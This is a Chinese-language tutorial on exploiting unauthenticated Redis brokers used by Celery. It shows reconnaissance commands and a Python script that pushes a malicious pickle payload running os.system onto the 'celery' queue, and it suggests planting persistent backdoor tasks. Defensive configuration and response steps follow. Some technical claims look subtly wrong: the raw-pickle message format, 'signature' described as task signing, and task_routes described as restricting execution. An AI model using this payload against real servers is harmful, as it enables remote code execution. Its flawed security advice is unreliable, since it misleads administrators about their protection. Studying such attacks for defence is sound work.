Celery Redis未授权访问利用分析

1. 漏洞概述

Celery是一个分布式任务队列系统，常用于异步任务处理。当Celery与Redis结合使用时，如果配置不当导致Redis未授权访问，攻击者可以利用此漏洞执行恶意任务或获取敏感信息。

2. 前置知识

2.1 Celery基础

• Celery是一个分布式任务队列系统
• 使用消息代理(如Redis、RabbitMQ)在客户端和工作节点之间传递消息
• 主要组件：客户端(发布任务)、工作节点(执行任务)、消息代理(存储任务)

2.2 Redis未授权访问

• Redis默认监听6379端口
• 未设置密码或配置错误时可被任意主机访问
• 可导致数据泄露、命令执行等风险

3. 漏洞利用原理

当Celery使用Redis作为消息代理时：

1. 任务信息以序列化形式存储在Redis中
2. 攻击者可通过未授权访问的Redis直接插入恶意任务
3. Celery worker会从Redis获取并执行这些任务

4. 漏洞利用步骤

4.1 环境检测

1. 扫描目标Redis端口(默认6379)
2. 测试未授权访问：

   redis-cli -h <target_ip> -p 6379
   

3. 确认是否为Celery使用的Redis：

   KEYS *
   

   查找包含"celery"关键字的键

4.2 构造恶意任务

1. 安装Celery和Redis客户端：

   pip install celery redis
   

2. 创建恶意任务脚本：

import redis
import pickle

# 目标Redis连接
r = redis.Redis(host='<target_ip>', port=6379)

# 构造恶意任务
class Exploit(object):
    def __reduce__(self):
        import os
        return (os.system, ('恶意命令',))

# 序列化恶意对象
exploit = pickle.dumps(Exploit())

# 将任务插入Redis队列
r.lpush('celery', exploit)

4.3 任务执行

1. 目标Celery worker会自动从Redis获取并执行任务
2. 恶意命令将在worker所在服务器上执行

5. 高级利用技巧

5.1 信息收集

• 列出所有队列：

  KEYS celery*
  

• 查看任务内容：

  LRANGE <queue_name> 0 -1
  

5.2 反序列化利用

• Celery使用pickle进行任务序列化
• 可利用pickle反序列化漏洞执行任意代码

5.3 持久化后门

• 在Redis中插入定期执行的恶意任务
• 实现持久化控制

6. 防御措施

6.1 Redis安全配置

1. 设置强密码：

   requirepass <strong_password>
   

2. 绑定特定IP：

   bind 127.0.0.1
   

3. 禁用危险命令：

   rename-command FLUSHALL ""
   rename-command CONFIG ""
   

6.2 Celery安全配置

1. 使用Celery的认证机制：

   app.conf.broker_url = 'redis://:password@localhost:6379/0'
   

2. 限制可执行任务：

   app.conf.task_routes = {
       'tasks.add': {'queue': 'math'},
   }
   

3. 使用签名任务：

   from celery import signature
   signed_task = signature('tasks.add', args=(2, 2), kwargs={})
   

6.3 网络防护

1. 防火墙限制Redis端口访问
2. 使用VPN或私有网络
3. 定期审计Redis和Celery配置

7. 检测与响应

7.1 检测方法

1. 监控Redis异常连接
2. 检查Celery任务日志中的异常任务
3. 审计Redis中的任务队列

7.2 应急响应

1. 立即隔离受影响系统
2. 重置Redis密码
3. 检查系统是否已被入侵
4. 更新Celery和Redis到最新版本

8. 总结

Celery与Redis结合使用时，未授权访问漏洞可能导致严重后果。通过合理配置Redis访问控制、Celery任务认证和网络防护，可以有效降低风险。管理员应定期审计系统配置，监控异常活动，确保分布式任务系统的安全性。